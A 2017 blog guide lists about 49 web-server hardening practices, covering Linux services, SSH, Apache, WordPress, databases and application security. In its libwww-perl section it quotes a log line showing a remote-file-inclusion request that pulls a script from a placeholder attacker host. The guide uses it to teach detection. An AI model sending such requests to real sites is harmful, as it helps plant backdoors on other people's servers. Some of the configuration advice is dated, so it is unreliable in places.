A Definitive guide to Secure your Web Server – 50 Best Practices

Updated on September 2, 2017

A Web server connected to the internet is often the target of various exploit attempts. Since the pages served by the Web Server are publicly accessible by anyone, they are subject to attack by hackers. According to the recent study, almost ninety thousand WordPress powered websites were hacked. Hackers can steal valuable information, which result in significant revenue loss to the E-commerce and financial companies. For others, the loss of data and then embarrassingly serious damage to the image of an organization.

Hackers makes use of the security flaws posed by the web servers, operating system, applications and Content Management Systems (CMS). Attackers has handful of tools and hacking techniques to exploit the security flaws exposed by your web servers.

There is no way to completely secure any server! It’s not a shame, but its time to awake and take some necessary steps to harden the security of your Web Servers.

Configure Operating system with Best practices

Operating System are developed by the vendors, so they come with default configuration that primarily focuses on vendor specific functions and features. The first thing in securing the server is to secure the underlying Operating System.

1. Remove unwanted services

Less is better. Minimize the operating system with only necessary services and packages. You should remove the unwanted services and packages. For example, If you are running a Web Server, then you might want to disable ‘Telnet, NetBIOS, NIS, FTP, NFS, autofs, Bluetooth, Cups (i don’t think, you need a printing service on a server), NTP (if your application is not time sensitive), Bind (you don’t run a DNS server right?), ypbind (if you don’t bind to NIS server) etc…To know what services are started during the system boot, run the below command.

$chkconfig --list | grep '3:on'

Sample output,

acpid          	0:off	1:off	2:on	3:on	4:on	5:on	6:off
anacron        	0:off	1:off	2:on	3:on	4:on	5:on	6:off
atd            	0:off	1:off	2:off	3:on	4:on	5:on	6:off
auditd         	0:off	1:off	2:on	3:on	4:on	5:on	6:off
cpuspeed       	0:off	1:on	2:on	3:on	4:on	5:on	6:off
crond          	0:off	1:off	2:on	3:on	4:on	5:on	6:off
dkms_autoinstaller	0:off	1:off	2:on	3:on	4:on	5:on	6:off
------------------------------------

To turn off the service,

$service acpid stop

To prevent the service from starting at the boot,

$chkconfig acpid off

2. Have only few user accounts

Create only necessary user accounts and set passwords to meet the secure password guidelines. If you are sure there won’t be any more user accounts creation, then follow : How to stop creating new users ?

3. Avoid common User names

Avoid common user names; for instance, apache, mysql, postgres etc…Most of the attackers, try to search for these common user accounts on a server. Well, those are the user accounts created by the services, but sometimes the user accounts having names such as ‘henry’, ‘sam’, ‘root’, ‘admin’, ‘bob’ etc…are more vulnerable to brute-force attacks. Most importantly, never create user accounts in the name of your website or service.

4. Force Password change

Enforce password change to every user account by setting password expiry policy. I know, this is not the most convincing policy (in user point of view), but you are left with no choice. According to the study, 20% of the internet accounts have passwords as ‘123456’. Be careful while choosing your passwords.

5. Disable ‘root’ account

As I told in earlier, disable ‘root’ account. Checkout this article to disable remote login to root account.

6. Enable Firewall

Run your website or service behind firewall. Linux comes with default firewall, which should be sufficient enough to secure any website. Open only necessary ports and drop the rest.

7. Enable LogWatch

LogWatch is a customizable, pluggable, log monitoring system for Linux. Logwatch collects informations such as Kernel errors, boot errors, mailbox status, disk space, data transfers, incoming connections (which includes authorized and unauthorized logins), sudo traces, packages installed etc…LogWatch can be configured to send daily reports to your email-id. Keep track of invalid login attempts from unauthorized IPs and blacklist those.

8. Disable ICMP Packets

Disable Ping requests to your server. Though ping is an useful utility to monitor your network connectivity, it can also bog down your network. Learn how to disable Ping/Traceroute requests to your server?

9. Update Kernel regularly

I know, this is not the easiest thing to do. But it is very important to run the latest version of Kernel. For instance, the kernel with bugs can allow hacker to sneak into your system. There are plenty of tools that allows an attacker to gain root access by exploiting the Kernel bugs.

Learn how to upgrade Kernel on CentOS/RHEL/Fedora Linux

10. Run Yum Update regularly

Like Kernel, every package installed on your system might have bugs and they can allow an attacker to gain access to your system. Update all the packages regularly, by running yum update. You can follow this guide to configure YUM and its usage examples.

yum update

11. Using Windows server? Install Anti-Virus

If you are running a Windows based servers, then install Anti-Virus programs with latest signatures.

12. Allow SSH from only trusted hosts

Allow SSH access to your server from only valid domains or hosts. To do that, you can configure hosts.allow with trusted domains as shown below,

ALL: 14.129.*.*, 202.83.*.*, 203.200.*.* : allow

Allow SSH access only to specific user accounts

You can also choose to allow only specific user accounts to login from a remote host. To do that, follow this tutorial : How to allow or deny remote login to specific user accounts on Linux server

Web Server Configurations

13. Install Web Server package in a CHROOT cage.

The chroot utility allows to jail a daemon in a restricted environment. It is normally used to insulate services from one another, so that the security issue in a package doesn’t harm the whole server. So install your web server package in a chroot cage.

14. Disable Directory Listing

One of the most important security setting in Apache is, Disabling Directory listing. “Directory Listing” is enabled by default, it is always a good idea to disable it. To do that, set Options directive to ‘None’ or ‘-Indexes‘.

<Directory />
  Options None
  Order allow,deny
  Allow from all
</Directory>

(or)

<Directory />
  Options -Indexes
  Order allow,deny
  Allow from all
</Directory>

15. Disable Web Server version reporting

It’s always a good idea to disable the web server type and its version reporting. You should configure the Web Server to prevent reporting its signature information on error pages such as Forbidden access or Page not found. To do that, open http.conf file and set as below,

ServerSignature Off
ServerTokens Prod

16. Run Web Server as no-login user

Always run httpd daemon as no-login user. It means, the user account with least possible privileges. To do that, open passwd file and make the below change.

hdaemon:x:48:48:hdaemon:/var/www:/sbin/nologin

17. Disable Unwanted DSO modules

By default, Apache loads plenty of Dynamic Shared Object (DSO) modules in httpd.conf file. It is a good idea to disable all the unwanted modules. To do that,

grep LoadModule /etc/httpd/conf/httpd.conf

However the path of httpd.conf might vary on your system. The command will list all the modules loaded by Apache. Comment out the unwanted modules to reduce the vulnerability.

18. Set correct permission to Conf and Bin directory

Remember to set proper permission to Apache configuration and bin directory. It’s necessary to allow only authorized users to view the conf files. To do that, you can group set of authorized users and provide permission as below.

To set permission for apache bin directory,

chown -R root:apachegr /usr/local/apache/bin
chmod -R 770 /usr/local/apache/bin

To set permission for apache conf file

chown -R root:apachegr /usr/local/apache/conf
chmod -R 770 /usr/local/apache/conf

19. Choose modules/scripts carefully

As I told earlier, removing the unwanted modules is a good idea. At the same time, you should consider security implications while implementing modules, plugins and scripts.

20. Secure Web Server Administration Pages

For instance, Apache Tomcat will come with an Administration page where you can deploy applications. Such pages should be served after Two-step authentication process. Probably, a htaccess authorization will do good.

For instance, learn how to secure your WordPress Admin page with Two-step authentication. The same process should work for any web server administration page as well.

21. Hide PHPMyAdmin from Public

Do you really need PHPMyAdmin kind of clients? If yes, never install such clients in Public HTML directory.

22. Create Separate Log files for Virtual Hosts

It’s good to create separate log files for each Virtual Host in Apache that are part of a single physical server.

<VirtualHost *.*.*.*:80>
ServerName www.example.com
ServerAlias example.com
ServerAdmin contact@example.com
DocumentRoot /var/www/example
<Directory "/var/www/example">
AllowOverride None
Options -Indexes
Order allow,deny
Allow from all
</Directory>

ErrorLog logs/example_error.log
CustomLog logs/example_access.log

This allows you to keep track of each website errors and access logs without much hassle.

23.  Employ Web Authentication and Encryption technologies when needed

You should employ web authentication and encryption technologies such as SSL/TLS based on the nature of Web Server data. For example, Private, Confidential, Sensitive etc…

24. Disable Open Proxy on Apache

Mod_proxy module of Apache implements Proxy/gateway for your web server. Though it is useful to perform “Proxy Pass” to web pages hosted on private servers, you should consider disabling “ProxyRequests”. Enabling proxying with ProxyRequests will act as Open proxy and it is dangerous to your network and to the Internet at large.

ProxyRequests Off

25. Disable libwww-perl on Apache

libwww-perl (LWP) is a WWW client/server library for Perl and it can help many hackers, spammers and bots to perform attacks on your site. To check whether your website has libwww-perl enabled, run the below command.

$ grep ‘libwww-perl’ access_log

Do you see something like below in the output?

190.85.10.147 www.domain.com - [21/Aug/2013:21:22:38 +0000] "GET /webdir/yesno.phtml?no_url=http://www.hackersite.com/list1.txt? HTTP/1.1" 200 72672 "-" "libwww-perl/5.76"

It means, some hacker is trying to use the security hole and install a backdoor pages. So libwww-perl useragent have to be blocked to prevent any such attacks on your website. Learn how to block it?

26. Have minimum possible executable code

Ensure less executable code on your Web server. Remove all sample files, scripts, manuals and executable code from the Web server public html directory.

WordPress Security

27. Using CMS? Keep it up-to-date

If you are using Content Management System (CMS) like WordPress, Joomla, drupal etc…Make sure you always run the latest version..

28. Secure CMS Login Pages

It’s recommended to secure the CMS Login pages with Two-step authentication. This can be achieved using .htaccess.

29. Disable default CMS user accounts

What’s the username of your WordPress administrator account? I hope it is not ‘admin’ or any other common username. For example, if your name is ‘Henry’, then don’t create an account in the name of ‘henry’. The hackers has a huge collection of common username and password, which is later used for Brute force attack on wordpress blogs. Learn how to change the default ‘admin’ username in WordPress?

30. Use Best Security Plugin for WordPress

Secure your website by using Popular security plugins. Such plugins assess your WordPress and lists down the elements that you should consider securing. Checkout this guide which talks about Popular WordPress Security Plugins.

31. Lock accounts after Invalid login attempts

You might want to lock down user accounts after set number of invalid login attempts. This comes handy, when an attacker tries as many invalid passwords before finding the correct one. Such attacks are achieved using Brute-force and Dictionary methods. So it is important to lock those accounts after the set number of Invalid login attempts. To do that, checkout this guide.

32. Have only minimum possible accounts

What should you do, if one of your author leaves the job with tons of posts written? You can choose to delete the account (by moving the posts to other account), but you should also remember that he/she had written tons of articles and you should still give credit to them. So the ideal way is to disable the user account and leave the posts in their name. Most importantly, you cannot leave those accounts opened, as it will allow attackers to gain access to it. Using ‘User Lock Plugin‘, you can disable those unused accounts. This will ensure, you have only minimum possible accounts in WordPress.

Learn more about User Lock Plugin.

33. Disable WordPress version information

Lets do a quick check of your WordPress source code. Right click on your WordPress article page and click view source. If you carefully see HTML source code, you will notice that few JavaScripts and stylesheets are taking query string arguments. These query strings mostly denote the version of your WordPress or plugin that you are using. Here’s an example of one such javascript and stylesheet.

http://websitename.com/somejavascript.js?ver=3.4.2
http://websitename.com/somestyle.css?ver=3.4.2

As you can see, the query strings takes wordpress version or plugin version as argument and that doesn’t do any good to your website. These information actually provides hint to the hacker. So you should consider removing those query strings from WordPress html output. To do that, head on to : How to remove query string from WordPress URL and Why you should?. Removing the query string will also benefit in SEO aspect.

34. Add WordPress Security Keys

WordPress security keys were introduced in WordPress 2.6, which are randomly generated variables that encrypts the information stored in user’s cookie. Learn to generate Unique security keys for site.

35. Remove unwanted WordPress tags

By default, WordPress adds plenty of meta tags that might not be needed for your website. Make sure to keep your code as clean as possible. Learn to remove unwanted WordPress meta tags.

36. Remove WordPress Logo in Admin page

By default, wp-admin page will have WordPress logo displayed. It’s recommended to replace it with your own website logo. Well, this might not make big difference, but little for sure.

To do that, copy and paste the below snippet in function.php.

function custom_login_logo() {
echo '<style type="text/css">
h1 a { background-image: url('.get_bloginfo('template_directory').'/images/logo.png) !important; }
</style>';
}
add_action('login_head', 'custom_login_logo');

Database Security

37. Upgrade Database

Keep your database up-to-date with latest bug fixes, patches and releases. Howover before updating database, make sure your code is compatible with the latest version.

38. Run database server as least privileged user

It’s always a good idea to run service as no-login user, but however certain database servers needs user accounts to be created with login permission. In such cases, run database server as a user with least privileges.

39. Do you really need Web based clients?

If you choose to use PHPMyAdmin or Postgresql web client, then make sure you really want it. If you prefer to use one, then make sure it is not publicly accessible.

40. Remove unused database accounts

Perform regular audit to ensure that you have only necessary database accounts. Remove all the unwanted or unused user accounts.

41. Allow connections only from trusted domains

Whitelist the valid domains or hosts that you wish to connect to database and GRANT necessary privileges. In case of MySQL, execute the below query as admin user.

GRANT ALL PRIVILEGES ON database.* TO 'username'@'trusted_domainname' IDENTIFIED BY 'securepassword';

Application Security

Apart from the above said security measures, one should also follow best coding practices while developing an application. You might ask me, why I’m speaking about application security for securing Web servers. Well, finally applications are going to run in a web server isn’t?

42. Consider security implications while choosing Technologies

One should consider all the security implications while choosing technologies. For instance, various client side technologies such as applets, vbscript, JavaScripts, flash etc…has its own strengths and weakness (along with associated risks). Similarly server side technologies such as JSP, PHP, ASP, Servlets comes with its own strengths and weakness. The technology should be used for implementation after careful consideration.

43. Don’t launch code with SUID

If the applications are to be deployed on UNIX based machines, then the code should not run as SUID. SETUID programs are dangerous, if they are not written with proper care.

44. Inputs received by application should be scanned

If the application are designed to receive input data from users, then such data should be verified against malicious input.

45. Avoid Information Leakage

Avoid information leakage via comments, explicit application and system errors or exceptions.

46. Remove unwanted codes

As I told earlier, less is better. Remove unwanted code snippets and files that are not related to the application.

47. Beware of spamming, while creating online forms

Some applications contain online forms to forward links or documents on the website as mail. It is recommended that the mail should not be allowed to any external e-mail addresses, as it can be used to SPAM external users.

48. Beware of SQL Injections, Cross-site scripting attacks

Consider security implications while writing code to prevent SQL Injections, cross-site scripting errors. To know more about SQL Injections, checkout this cheat sheet.

Veracode SQL Injection Tutorial Infographic

Credits: By Veracode

49. Backup! Backup! Backup!

I need not explain about it. The title says it all.

Apart from periodic backups, you should also take necessary backup before updating any software or package.

You might also subscribe to appropriate mailing lists and/or web sites for security-related announcements and updates. For instance, If you are using WordPress, subscribe to WordPress mailing lists to keep track of bug fixes and patches.

If you like this article, consider subscribing with us.

Disclaimer: I’m not a security expert, but I learnt few best practices from my friends, colleagues and of course from the internet. Please let me know your suggestions, so that it can be added to the list (of course with credits to you).

Was this article helpful?

Related Articles

Leave a Comment